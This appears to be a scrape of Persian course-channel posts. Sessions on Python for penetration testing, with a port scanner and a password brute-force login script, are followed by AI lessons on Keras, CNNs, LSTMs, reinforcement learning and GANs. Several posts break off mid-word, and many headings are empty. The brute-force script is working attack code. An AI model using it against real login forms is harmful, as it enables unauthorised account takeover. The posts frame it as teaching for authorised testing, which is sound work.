جلسه هفدهم: ابزار سازی با پایتون برای تست نفوذ!

سلام به همه علاقمندان به دنیای امنیت و پایتون!

### سرفصل‌های این جلسه:

### نمونه کد ساده برای اسکن پورت:

import socket

target = "example.com"
ports = [21, 22, 80, 443]

for port in ports:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)
    result = sock.connect_ex((target, port))
    if result == 0:
        print(f"Port {port}: OPEN")
    sock.close()

### نکته امنیتی این جلسه:

برای دسترسی به کد کامل ویدیو و فایل‌های تمرینی، به کانال ما مراجعه کنید:

پیشنیاز: آشنایی با مباحث شبکه و پایتون مقدماتی

سلام به همه علاقمندان به دنیای امنیت سایبری!

در جلسه هجدهم از دورهی «پایتون برای هک و امنیت»، به یکی از جذابترین و کاربردیترین مباحث میرسیم: «شبیهسازی حمله Brute-Force»**.

---

#### در این جلسه چه میآموزیم؟

**آشنایی با مفهوم حمله Brute-Force

نوشتن اسکریپت پایتون برای کرک پسوردها

کار با کتابخانههای `requests` و `threading`

روشهای محافظت در برابر Brute-Force (مثل Captcha، Rate Limiting)

آنالیز لاگها برای شناسایی حملات

#### کد نمونه پایتون (Brute-Force ساده):

import requests

def brute_force_login(url, username, password_list):
    for password in password_list:
        data = {'username': username, 'password': password}
        response = requests.post(url, data=data)
        if "Login successful" in response.text:
            print(f"[+] Password found: {password}")
            return
    print("[-] Password not found.")

# مثال Usage
url = "http://example.com/login"
username = "admin"
passwords = ["123456", "password", "admin", "letmein"]
brute_force_login(url, username, passwords)

#### نکته اخلاقی:

این آموزش فقط برای اهداف آموزشی و تست نفوذ با مجوز رسمی ارائه شده.

#### لینکهای مفید:

هدف این جلسه:

اگر شما هم به امنیت سایبری علاقهمندید، همین حالا سیو کنید و به جمع متخصصان ما بپیوندید!

کاربرد پایتون در هک و امنیت | جلسه پایانی: ساخت ابزار شخصی و پروژه‌های ترکیبی

عنوان جلسه: ساخت ابزار همه‌کاره امنیتی و مسیر ادامه‌ی یادگیری

# نمونه کُد کلاس اصلی
class PySecTool:
    def __init__(self, target):
        self.target = target
    
    def port_scanner(self):
        # اسکن پورت با multi-threading
        pass
    
    def directory_bruteforcer(self):
        # کشف مسیرهای پنهان وب‌سرور
        pass
    
    def vulnerability_checker(self):
        # بررسی آسیب‌پذیری‌های شناخته شده
        pass
    
    def report_generator(self):
        # خروجی گزارش خودکار
        pass

نکات طلایی جلسه پایانی:

پایتون یک ابرقدرت در امنیت است – از اتوماسیون تا ساخت ابزار پیچیده

خلاقیت مهم‌تر از دانشِ صرف – بهترین ابزارها از نیازهای واقعی متولد می‌شوند

مسئولیت‌پذیر باشید – این دانش فقط برای تست نفوذ مجاز و اخلاقی است

قدم بعدی:

آیا ایده‌ای برای ابزار امنیتی دارید؟ در کامنت‌ها به اشتراک بگذارید تا درباره پیاده‌سازی آن صحبت کنیم!

این دوره برای شما مفید بود؟ برای کسانی که می‌خواهند پایتون را در مسیر امنیت یاد بگیرند، اشتراک‌گذاری کنید.

تذکر مهم: تمام مطالب این دوره با هدف آموزش دفاعی و تست نفوذ مجاز ارائه شده است. استفاده غیراخلاقی پیگرد قانونی دارد.

جلسه پنجم: شبکه‌های عصبی مصنوعی - مغز مصنوعی ماشین‌ها!

نورون مصنوعی: واحد اصلی محاسبات در شبکه است. هر نورون ورودی‌ها را با وزن‌هایی ضرب کرده، با هم جمع می‌زند و یک تابع فعال‌سازی روی آن اعمال می‌کند تا خروجی تولید شود.

دو مفهوم حیاتی این جلسه:

یک مثال کاربردی و کد ساده:

import tensorflow as tf
from tensorflow.keras import layers

# ساخت یک مدل ساده Sequential
model = tf.keras.Sequential([
    layers.Dense(64, activation='relu', input_shape=(784,)),  # لایه پنهان با 64 نورون
    layers.Dense(10, activation='softmax')  # لایه خروجی با 10 کلاس
])

# خلاصه‌ای از معماری مدل
model.summary()

Model: "sequential"
_________________________________________________________________
 Layer (type)                Output Shape              Param #   
=================================================================
 dense (Dense)               (None, 64)                50240     
                                                                 
 dense_1 (Dense)             (None, 10)                650       
                                                                 
=================================================================
Total params: 50,890
Trainable params: 50,890
Non-trainable params: 0
_________________________________________________________________

نقشه راه شبکه‌های عصبی:

نکته طلایی جلسه پنجم:

تمرین عملی این جلسه:

به نظر شما، کدام یک از کاربردهای شبکه‌های عصبی در آینده می‌تواند زندگی انسان را متحول کند؟ از پزشکی تا سرگرمی!

اگر این جلسه برایتان مفید بود، لایک کنید و برای دوستانتان که به یادگیری هوش مصنوعی علاقه‌مندند بفرستید! در جلسه بعد به شبکه‌های کانولوشنی (CNN) خواهیم پرداخت.

جلسه ششم دوره جامع آموزش هوش مصنوعی | از تئوری تا عمل

سلام به همه همراهان هوشمند و آینده‌سازان فناوری!

امروز با جلسه ششم از دوره آموزش هوش مصنوعی در خدمت شما هستیم. در این جلسه، گامی فراتر گذاشته و مفاهیم کلیدی را با پیاده‌سازی عملی همراه می‌کنیم. آماده باشید تا عمیق‌تر به دنیای یادگیری ماشین و شبکه‌های عصبی شیرجه بزنیم!

سرفصل‌های اصلی جلسه ششم:

# مثال ساده از ساخت مدل
from tensorflow import keras
model = keras.Sequential([
    keras.layers.Dense(128, activation='relu', input_shape=(784,)),
    keras.layers.Dense(10, activation='softmax')
])
model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy'])

این جلسه مناسب چه کسانی است؟

اطلاعات کلیدی دوره:

· محل برگزاری: آنلاین (وبینار زنده + آپلود ضبط جلسه)

· هزینه دوره: رایگان برای اعضای کانال (لینک عضویت در پروفایل)

· هدیه این جلسه: کدهای آماده + دیتاست تمرینی

سوالات متداول:

گفتگو و پشتیبانی:

آینده در دستان کسانی است که امروز شروع می‌کنند.

شاد و سربلند باشید

جلسه هفتم دوره جامع آموزش هوش مصنوعی | شبکه‌های عصبی کانولوشن (CNN)

سلام به همه یادگیرندگان پرانرژی و کنجکاو دنیای هوش مصنوعی!

به جلسه هفتم از دوره آموزش هوش مصنوعی خوش آمدید. امروز وارد جذاب‌ترین بخش هوش مصنوعی یعنی شبکه‌های عصبی کانولوشن (CNN) می‌شویم. همان تکنولوژی که در تشخیص تصاویر، پردازش ویدیو و حتی خودروهای خودران انقلابی ایجاد کرده است. آماده اکتشاف هستید؟

سرفصل‌های اصلی جلسه هفتم:

# نمونه کد CNN در Keras
from tensorflow.keras import layers, models

model = models.Sequential([
    layers.Conv2D(32, (3,3), activation='relu', input_shape=(32,32,3)),
    layers.MaxPooling2D((2,2)),
    layers.Conv2D(64, (3,3), activation='relu'),
    layers.MaxPooling2D((2,2)),
    layers.Flatten(),
    layers.Dense(64, activation='relu'),
    layers.Dropout(0.5),
    layers.Dense(10, activation='softmax')
])

پروژه عملی این جلسه:

تشخیص گربه/سگ با دقت بالا

اطلاعات کلیدی:

· زمان: پنجشنبه ۲۵ خرداد، ساعت ۱۸ الی ۲۰:۳۰

· حضور: آنلاین (وبینار زنده + آپلود ضبط)

· هزینه: رایگان برای اعضای کانال

· هدیه جلسه: دیتاست مخصوص + کدهای کامل پروژه

پیش‌نیازهای لازم:

سوالات متداول:

منابع تکمیلی:

مسابقه این هفته:

جایزه: شارژ ماهانه + مشاوره رزومه‌نویسی

تعامل با ما:

بینایی ماشین، چشمان هوش مصنوعی در دنیای دیجیتال است.

نکته مهم: جلسه هشتم به شبکه‌های مولد تخاصمی (GAN) اختصاص خواهد داشت – هوش مصنوعی که هنر خلق می‌کند!

جلسه هفتم دوره جامع آموزش هوش مصنوعی | شبکه‌های عصبی کانولوشن (CNN) در عمل

سلام به همه هنرمندان داده و معماران هوش مصنوعی!

به جلسه هفتم از دوره آموزش هوش مصنوعی خوش آمدید. امروز قدرت بینایی کامپیوتر را کشف می‌کنیم و می‌آموزیم چگونه ماشین‌ها می‌بینند، درک می‌کنند و تصمیم می‌گیرند. همراه ما باشید تا دنیای CNN را از نزدیک تجربه کنید!

آنچه در جلسه هفتم می‌آموزیم:

۳. پیاده‌سازی عملی: تشخیص سرطان پوست از تصاویر

# پیاده‌سازی CNN برای طبقه‌بندی تصاویر پزشکی
import tensorflow as tf
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Conv2D, MaxPooling2D, Flatten, Dense, Dropout, BatchNormalization

model = Sequential([
    Conv2D(32, (3,3), activation='relu', input_shape=(224,224,3)),
    BatchNormalization(),
    MaxPooling2D(2,2),
    
    Conv2D(64, (3,3), activation='relu'),
    BatchNormalization(),
    MaxPooling2D(2,2),
    
    Conv2D(128, (3,3), activation='relu'),
    BatchNormalization(),
    MaxPooling2D(2,2),
    
    Flatten(),
    Dense(256, activation='relu'),
    Dropout(0.5),
    Dense(7, activation='softmax')  # 7 کلاس بیماری پوستی
])

model.compile(optimizer='adam',
              loss='categorical_crossentropy',
              metrics=['accuracy'])

چالش عملی این جلسه:

مسابقه تشخیص صحت ماسک زدن در مکان‌های عمومی

۵۰۰ هزار تومان اعتبار آموزش

دعوت به همکاری در پروژه‌های واقعی

اطلاعات فنی جلسه:

ابزارهای مورد نیاز:

منابع تکمیلی رایگان:

هدایای این جلسه:

بخش پرسش و پاسخ:

نکته طلایی امروز:

اطلاعیه مهم:

امروز نه تنها کدنویسی یاد می‌گیریم، بلکه به کامپیوتر

جلسه هشتم دوره جامع آموزش هوش مصنوعی | شبکه‌های عصبی بازگشتی (RNN) و پردازش زبان طبیعی (NLP)

سلام به همه زبان‌شناسان داده و معماران مکالمه ماشین!

به جلسه هشتم از دوره آموزش هوش مصنوعی خوش آمدید. امروز از دنیای تصویر به دنیای کلمات سفر می‌کنیم و می‌آموزیم چگونه هوش مصنوعی متن می‌فهمد، تولید می‌کند و با ما گفتگو می‌کند. وارد قلمرو جذاب پردازش زبان طبیعی شوید!

سرفصل‌های اصلی جلسه هشتم:

# پیاده‌سازی LSTM برای تحلیل احساسات
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Embedding, LSTM, Dense, Dropout
from tensorflow.keras.preprocessing.text import Tokenizer
from tensorflow.keras.preprocessing.sequence import pad_sequences

# مدل
model = Sequential([
    Embedding(10000, 128, input_length=200),
    LSTM(128, dropout=0.2, recurrent_dropout=0.2),
    Dense(64, activation='relu'),
    Dropout(0.5),
    Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam',
              loss='binary_crossentropy',
              metrics=['accuracy'])

پروژه عملی این جلسه:

ساخت چتبات سوال-پاسخ (QA Chatbot)

اطلاعات کلیدی جلسه:

ابزارهای مورد نیاز:

  !pip install tensorflow numpy pandas matplotlib seaborn nltk
  

منابع تکمیلی:

هدایای این جلسه:

بخش پرسش و پاسخ:

چالش این هفته:

نکته طلایی:

اطلاعیه:

ام

جلسه نهم دوره جامع آموزش هوش مصنوعی | یادگیری تقویتی (Reinforcement Learning) - هوش مصنوعی که بازی می‌کند!

سلام به همه رهبران هوشمند و علاقمندان به سیستم‌های خودآموز!

به جلسه نهم دوره جامع آموزش هوش مصنوعی خوش آمدید. امروز وارد هیجان‌انگیزترین حوزه هوش مصنوعی می‌شویم: جایی که ماشین‌ها با آزمون و خطا یاد می‌گیرند، تصمیم می‌گیرند و حتی از انسان‌ها پیشی می‌گیرند. وارد دنیای یادگیری تقویتی شوید!

سرفصل‌های اصلی جلسه نهم:

# پیاده‌سازی DQN ساده با TensorFlow
import gym
import numpy as np
import tensorflow as tf
from tensorflow.keras import layers

env = gym.make('CartPole-v1')

model = tf.keras.Sequential([
    layers.Dense(24, activation='relu', input_shape=(env.observation_space.shape[0],)),
    layers.Dense(24, activation='relu'),
    layers.Dense(env.action_space.n, activation='linear')
])

# پارامترهای آموزش
gamma = 0.99  # فاکتور تخفیف
epsilon = 1.0  # نرخ exploration
epsilon_min = 0.01
epsilon_decay = 0.995

# حلقه آموزش
for episode in range(1000):
    state = env.reset()
    state = np.reshape(state, [1, env.observation_space.shape[0]])
    
    for time in range(500):
        # انتخاب عمل با استراتژی epsilon-greedy
        if np.random.rand() <= epsilon:
            action = env.action_space.sample()  # exploration
        else:
            action = np.argmax(model.predict(state)[0])  # exploitation
        
        # اجرای عمل در محیط
        next_state, reward, done, _ = env.step(action)
        next_state = np.reshape(next_state, [1, env.observation_space.shape[0]])
        
        # آموزش مدل...
        if done:
            break
    
    # کاهش epsilon
    epsilon = max(epsilon_min, epsilon * epsilon_decay)

پروژه عملی این جلسه:

آموزش عامل برای بازی LunarLander

نصب و راه‌اندازی:

منابع تکمیلی:

سوالات متداول:

داستان موفقیت:

اطلاعیه مهم:

امروز به ماشین می‌آموزیم که نه تن

جلسه دهم دوره جامع آموزش هوش مصنوعی | مدل‌های مولد (Generative Models) و GANs - هوش مصنوعی که خلق می‌کند!

سلام به همه هنرمندان هوش مصنوعی و خالقان دنیای دیجیتال!

به جلسه دهم از دوره آموزش هوش مصنوعی خوش آمدید. امروز از مرز درک و تشخیص فراتر می‌رویم و وارد قلمرو خلق و آفرینش می‌شویم. جایی که هوش مصنوعی نه تنها می‌بیند و می‌فهمد، بلکه می‌آفریند. وارد دنیای سحرآمیز مدل‌های مولد شوید!

سرفصل‌های اصلی جلسه دهم:

# پیاده‌سازی GAN با TensorFlow/Keras
import tensorflow as tf
from tensorflow.keras import layers
import numpy as np
import matplotlib.pyplot as plt

# Generator
def build_generator(latent_dim):
    model = tf.keras.Sequential([
        layers.Dense(256, input_dim=latent_dim),
        layers.LeakyReLU(alpha=0.2),
        layers.BatchNormalization(),
        layers.Dense(512),
        layers.LeakyReLU(alpha=0.2),
        layers.BatchNormalization(),
        layers.Dense(1024),
        layers.LeakyReLU(alpha=0.2),
        layers.BatchNormalization(),
        layers.Dense(28 * 28 * 1, activation='tanh'),
        layers.Reshape((28, 28, 1))
    ])
    return model

# Discriminator
def build_discriminator(img_shape):
    model = tf.keras.Sequential([
        layers.Flatten(input_shape=img_shape),
        layers.Dense(512),
        layers.LeakyReLU(alpha=0.2),
        layers.Dense(256),
        layers.LeakyReLU(alpha=0.2),
        layers.Dense(1, activation='sigmoid')
    ])
    return model

# ترکیب مدل‌ها
latent_dim = 100
img_shape = (28, 28, 1)

generator = build_generator(latent_dim)
discriminator = build_discriminator(img_shape)

# Compile Discriminator
discriminator.compile(loss='binary_crossentropy',
                      optimizer=tf.keras.optimizers.Adam(0.0002, 0.5),
                      metrics=['accuracy'])

# Combined model (Generator -> Discriminator)
discriminator.trainable = False
gan_input = layers.Input(shape=(latent_dim,))
img = generator(gan_input)
validity = discriminator(img)
gan = tf.keras.Model(gan_input, validity)
gan.compile(loss='binary_crossentropy', optimizer=tf.keras.optimizers.Adam(0.0002, 0.5))

پروژه عملی این جلسه:

ساخت سیستم تولید چهره‌های انسانی با StyleGAN2

اطلاعات کلیدی جلسه:

الزامات فنی:

# نصب کتابخانه‌های تخصصی
pip install tensorflow-gpu
pip install torch torchvision
pip install diffusers transformers
pip install matplotlib imageio ipywidgets

مناب